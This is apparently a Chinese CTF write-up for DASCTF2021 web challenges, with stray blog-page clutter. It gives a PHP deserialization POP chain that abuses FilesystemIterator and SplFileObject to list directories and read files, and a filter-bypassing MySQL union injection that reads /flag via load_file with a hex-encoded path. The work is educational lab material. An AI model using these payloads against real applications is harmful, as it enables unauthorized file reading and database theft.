【WP】DASCTF2021

补发WP

ez_serialize

源码

<?php
error_reporting(0);
highlight_file(__FILE__);

class A{
    public $class;
    public $para;
    public $check;
    public function __construct()
    {
        $this->class = "B";
        $this->para = "ctfer";
        echo new  $this->class ($this->para);
    }
    public function __wakeup()
    {
        $this->check = new C;
        if($this->check->vaild($this->para) && $this->check->vaild($this->class)) {
            echo new  $this->class ($this->para);			//关键,触发点
        }
        else
            die('bad hacker~');
    }

}
class B{
    var $a;
    public function __construct($a)
    {
        $this->a = $a;
        echo ("hello ".$this->a);
    }
}
class C{

    function vaild($code){
        $pattern = '/[!|@|#|$|%|^|&|*|=|\'|"|:|;|?]/i';
        if (preg_match($pattern, $code)){
            return false;
        }
        else
            return true;
    }
}


if(isset($_GET['pop'])){
    unserialize($_GET['pop']);
}
else{
    $a=new A;

}

提取简化

<?php
error_reporting(0);
highlight_file(__FILE__);

class A{
    public $class;
    public $para;
    public $check;
    public function __wakeup()
    {
        $this->check = new C;
        if($this->check->vaild($this->para) && $this->check->vaild($this->class)) {
            echo new  $this->class ($this->para);			//关键,触发点,能够创建指定类对象
        }
    }

}

核心代码可以通过拼接调用任意类方法
FilesystemIterator:指定目录的迭代器
SplFileObject:获取指定目录下的所有文件,指定文件时通过返回值可以读取文件内容

构造序列化

<?php
class A{
    public $class='FilesystemIterator';
    public $para='./';
    public $check;
}
$payload = new A();
echo serialize($payload);
?>
    
//O:1:"A":3:{s:5:"class";s:18:"FilesystemIterator";s:4:"para";s:2:"./";s:5:"check";N;}

显示文件夹/aMaz1ng_y0u_c0Uld_f1nd_F1Ag_hErE

<?php
class A{
    public $class='FilesystemIterator';
    public $para='./aMaz1ng_y0u_c0Uld_f1nd_F1Ag_hErE/`';
    public $check;
}
$payload = new A();
echo serialize($payload);
?>
//O:1:"A":3:{s:5:"class";s:18:"FilesystemIterator";s:4:"para";s:36:"./aMaz1ng_y0u_c0Uld_f1nd_F1Ag_hErE/`";s:5:"check";N;}

无显示,根据文件夹名猜测此文件夹为最底层,其下包含flag文件,直接采用:

<?php
class A{
    public $class='SplFileObject';
    public $para='./aMaz1ng_y0u_c0Uld_f1nd_F1Ag_hErE/flag.php';
    public $check;
}
$payload = new A();
echo serialize($payload);
?>
//O:1:"A":3:{s:5:"class";s:13:"SplFileObject";s:4:"para";s:43:"./aMaz1ng_y0u_c0Uld_f1nd_F1Ag_hErE/flag.php";s:5:"check";N;}

在这里插入图片描述

BestDB
$sql = "SELECT * FROM users WHERE id = '$query' OR username = \"$query\"";

刚开始做感觉是个极其常规的SQL,过滤了空格和单引号

' '   ->   "   "
[空格]  ->   /**/

直到正常爆库到最后,发现是读文件

1"/**/Union/**/seLect/**/1,database(),3;#

1"/**/Union/**/seLect/**/1,group_concat(schema_name),3/**/from/**/information_schema.schemata%23
information_schema,mysql,performance_schema,sys,users

1"/**/Union/**/seLect/**/1,group_concat(table_name),3/**/from/**/information_schema.tables/**/wHere/**/table_schema="users"%23
f1agdas,users

1"/**/Union/**/seLect/**/1,group_concat(column_name),3/**/from/**/information_schema.columns/**/wHere/**/table_schema="f1agdas"%23
id,f1agdas

1"/**/Union/**/seLect/**/1,group_concat(f1agdas),3/**/from/**/f1agdas%23
flag.txt

1"/**/Union/**/seLect/**/1,group_concat(column_name),3/**/from/**/information_schema.columns/**/wHere/**/table_schema="users"%23
id,f1agdas,id,username,password

1"/**/Union/**/seLect/**/1,group_concat(f1agdas),3/**/from/**/users%23
//这里不知道为什么会无回显,明明上面那个分支使用了相同的字段名,但是这里却不行,用ord()做了测试,发现并没有对回显过滤

爆第二分支到一半才反应过来是读文件,开始

1"/**/Union/**/seLect/**/1,load_file("/flag.txt"),3/**/from/**/users%2

forbidden!!!!!

怀疑过滤了flag,用十六进制尝试,

/flag.txt -->
2f666c61672e747874 -->
0x2f666c61672e747874

/flag -->
2f666c6167  -->
0x2f666c6167
//提示。。。,说好的.txt呢

最终payload

1"/**/Union/**/seLect/**/1,load_file(0x2f666c6167),3/**/from/**/users%2

在这里插入图片描述

签到

异世相遇,尽享美味,安恒赛高

调查问卷

有手就行

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
以后每2周左右给知识星球的⽤户发布⼀次 WPJAM 所有插件的更新, WPJAM Basic 和微信机器⼈⾼级版是和 WordPress 官放插件站同步更新的,其他插件只有知识星球或者其他⼩程序付费⽤户可以享受。 ⽬录: wpjam-basic WPJAM 所有插件基础, WPJAM Basic 除了能够优化你的 WordPress ,也是 WordPress 果酱团队进⾏WordPress ⼆次开发的基础。 ⽬录: weixin-robot-advanced 连接公众号和 WordPress 博客,匹配⽤户发送信息,匹配相关的⽂章,并⾃动回复⽤户。 ⽬录: wpjam-collection 1. 给媒体创建个分类「图⽚集 | collection」 2. 图⽚分类限制为⼆级 3. 取消图⽚编辑⼊⼝ 4. 附件⻚⾯直接图⽚链接。 ⽬录: wpjam-taxonomy 层式管理分类和分类拖动排序的 WordPress 插件。 ⽬录: wpjam-user ⽀持⾃定义头像,屏蔽个⼈设置,屏蔽姓名设置,隐藏登录名,限制登陆失败次数,防⽌密码被暴⼒破解等 功能。 ⽬录: wpjam-content-template WordPress 内容模板,通过 shortcode 在内容中插⼊⼀段共⽤的内容模板,并且⽀持表格。 ⽬录: wpjam-comment 1.评论点赞, 2.评论置顶, 3.评论点赞排序。 ⽬录: wpjam-platform-hide 设置⽂章在列表⻚不显示,并且可以根据不同平台进⾏设置 ⽬录: wpjam-series 设置⽂章专题,并在⽂章末尾显示⼀个⽂章专题列表。 ⽬录: wpjam-option 查看所有⾮ WordPress 系统⾃动⽣成的站点选项,如果你觉得某个选项没有⽤了,可以直接删除它。 ⽬录: wpjam-topic WordPress 后台论坛,⽀持创建帖⼦,分组,消息。 ⽬录: wpjam-configurator 全⾃动 WordPress 配置器,⽀持⾃定义⽂章类型,⾃定义字段,⾃定义分类,分类选项,全局选项。。 ⽬录: wpjam-hashtag ⽂章中插⼊ #话题#,如果是标签或者分类,则⾃动转换成标签或分类链接,否则跳转到搜索链接。 ⽬录: wpjam-metadata 可视化管理 WordPress Meta 数据。 ⽬录: weapp 微信⼩程序 WordPress 基础插件,包含基础类库和管理。 ⽬录: weixin-group-qrcode 微信群⼆维码轮询显示⼯具,每个群加够⼤概100⼈之后,换下⼀个群⼆维码。 ⽬录: wpjam-grabmp ⼀键抓取公众号⽂章到 WordPress 博客,并且突破微信图⽚防盗链

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值